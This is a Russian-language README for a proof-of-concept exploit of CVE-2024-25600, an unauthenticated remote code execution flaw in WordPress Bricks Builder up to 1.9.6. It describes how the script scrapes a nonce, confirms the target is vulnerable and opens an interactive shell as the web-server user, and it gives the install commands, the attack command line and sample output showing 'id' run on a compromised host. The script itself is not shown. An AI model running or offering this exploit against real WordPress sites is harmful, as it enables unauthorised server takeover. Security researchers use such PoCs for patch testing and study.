CVE-2024-25600 — WordPress Bricks Builder RCE (PoC)

Неаутентифицированная уязвимость удалённого выполнения кода в WordPress Bricks Builder <= 1.9.6. Конечная точка рендеринга шаблонов принимает PHP-код без аутентификации, что позволяет выполнять произвольные команды от имени пользователя веб-сервера.

Как это работает

1. Получает nonce Bricks из исходного кода страницы цели (требуется для взаимодействия с конечной точкой).
2. Отправляет тестовую нагрузку, чтобы подтвердить, что цель уязвима.
3. Открывает интерактивную оболочку, внедряя команды через конечную точку рендеринга.

Требования

• Python 3
• Установите зависимости:

python3 -m venv venv
source venv/bin/activate
python3 -m pip install requests beautifulsoup4 prompt_toolkit

Использование

python3 exploit.py -u http://TARGET

Пример:

$ python3 exploit.py -u http://10.10.10.10
[*] Fetching nonce from http://10.10.10.10 ...
[*] Checking if the target is vulnerable...
[+] Target is vulnerable!
[+] Shell opened. Type 'exit' or Ctrl+C to quit.

Shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Ссылки

• CVE-2024-25600
• Рекомендации по безопасности Bricks Builder
• Разбор Wordfence

Авторы

• Обнаружение: Snicco / Calvin Alkan
• Оригинальный эксплойт: K3ysTr0K3R
• Очистка и упрощение: Esteban Zárate